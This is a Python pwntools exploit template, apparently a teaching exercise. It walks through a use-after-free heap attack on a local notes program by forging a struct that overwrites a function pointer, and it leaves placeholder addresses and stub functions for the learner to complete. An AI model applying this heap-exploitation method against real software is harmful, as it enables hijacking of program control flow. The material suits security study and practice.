#!/usr/bin/python3

# This is bad practice technically but I don't care
from pwn import *

# Set the elf object to the file you want to interact with
# (change the "file_name_here" to the file you want to interact with
elf = context.binary = ELF("file_name_here")


# Create GDB script
# This will be used to automatically run when GDB connects if running with GDB
# To run with GDB, you should do "python3 solve.py GDB"
gs = '''
c
'''


def start():
    """
    This function will create the process to interact with.
    It also starts GDB if it needs to.

    The following will work to start this script:
        - python3 solve.py
        - python3 solve.py GDB
        - python3 solve.py DEBUG
        - python3 solve.py NOASLR

    And they may be combined as desired

    :return: This function will return the interactable object
    """
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)


io = start()
io.timeout = 0.1


def p64(unpacked):
    """
    Included because I wanted shorthand. Might not be needed for some systems.
    """
    return pwnlib.util.packing.p64(unpacked)


def u64(unpacked):
    """
    Included because I wanted shorthand. Might not be needed for some systems.
    """
    return pwnlib.util.packing.u64(unpacked)


def p32(unpacked):
    """
    Included because I wanted shorthand. Might not be needed for some systems.
    """
    return pwnlib.util.packing.p32(unpacked)


def create_note():
    """
    This is a helper function to aid interaction with the binary. It will make life a lot easier
    during exploitation/testing and creates a much cleaner product.
    :return: Returns the index the new note was created at.
    """
    # We need to receive the menu printout
    io.recvuntil(b"Quit.\n")

    # We want to create, so we will send 1
    # Using sendline will automatically add a newline. You can also do send(b"1\n") here. Same thing.
    io.sendline(b"1")

    # We know when we create a note, the output is "New note created @ index #."
    # If we want to capture the index, we can use recvuntil to receive until we hit "index ",
    # and the next will be the index
    io.recvuntil(b"index ")

    # Next receive the index, and just pull out the one character which will be the index (never > 9)
    index = io.recvline().decode('utf-8')[0]

    # log.debug is a useful feature of pwntools. Also available are log.info and log.error
    # log.debug will only show up when run with DEBUG
    log.debug(f"Note created @ {index}")

    return index


def edit_note(index: str, contents: bytes):
    """
    Edit note to add the provided contents.
    :param index: Index to edit
    :param contents: Contents to add
    """
    # Receive menu prompt
    io.recvuntil(b"Quit.\n")

    # Send 2, option to edit
    io.sendline(b"2")

    # Receive prompt asking for index
    io.recvuntil(b"note?\n")

    # Send index as bytestring
    io.sendline(bytes(index, 'utf-8'))

    # Receive prompt asking for content length
    io.recvuntil(b"contents?")

    # Send length of contents as bytestring
    io.sendline(bytes(str(len(contents)), 'utf=8'))

    # Receive until prompt for contents
    io.recvuntil(b"contents.\n")

    # Send contents (as bytes)
    io.sendline(contents)


def free_note(index):
    """
    Free note at index provided

    Fill this out to make it work.
    """
    pass


def show_note(index):
    """
    Call print_note function pointer for a note

    Implement this, this should be how you are using the exploit
    """
    pass


"""
Thoughts on getting function pointer overwritten:
- Create a new note
- Edit a note with the same size contents as the chunk malloc'ed for notes (0x30, so 48 byte long contents too)
- In the name, create a mock struct for a note, and fill out the target address for a function pointer and the contents to
    be passed to that function pointer
- Free that note, which will free the note chunk first, then the contents chunk, making it first to be pulled for a new malloc
- Create a new note, which will take the free'd chunk with the faked metadata
"""
if __name__ == "__main__":

    # These will be used to exploit the use after free vulnerability
    target_function_address = 0xAABBCCDD  # This address should be the address of the function you want to execute
    target_file_name_addr = 0xDDCCBBAA  # This address should hold a string of the value to pass to the above function

    """ Note implementation from vuln program
    struct note_s {
        long contents_len;
        long unused_value;
    
        char * p_note_contents;
        void (*print_note)(char *ptr);
        int has_content;
    };
    """

    something_here = 0  # junk value to prevent errors

    # Copy the note implementation format above to fill out a fake note struct
    # The total size must be 0x28-0x30 so the malloc'ed chunk is 0x30 size, putting it in the 0x30 fastbin when free'd
    fake_note_payload = [
        b"\x41"*16,  # What goes here? This is just junk values, but what part of the struct goes here?
        p64(something_here),  # We need to pack 8 bytes of something here... an address??
        p64(something_here),  # 8 more bytes... what sort of value should go here?
        p32(1)  # has_content flag, so show note works
    ]

    log.debug(f"Payload is: '{flat(fake_note_payload)}'")

    log.info(f"Passing in a forged note struct to use a Use-After-Free vulnerability...")

    # Make a new note, and edit it with the payload of the fake note struct
    bad_name_note = create_note()

    # This edit will malloc a chunk the size of a note struct (0x30) and fill it with fake fields
    edit_note(bad_name_note, flat(fake_note_payload))

    # Free the old note, which frees the note struct, then the contents,
    # so the contents will be first to be pulled off to create a new note
    free_note(bad_name_note)

    # Create a new note, which should use the fake struct chunk since that was just free'd
    # and is the right size
    bad_name_note = create_note()

    # Call show note, which will call the function pointer we provided and pass in the contents
    log.info("Triggering vuln..")
    show_note(bad_name_note)

    io.interactive()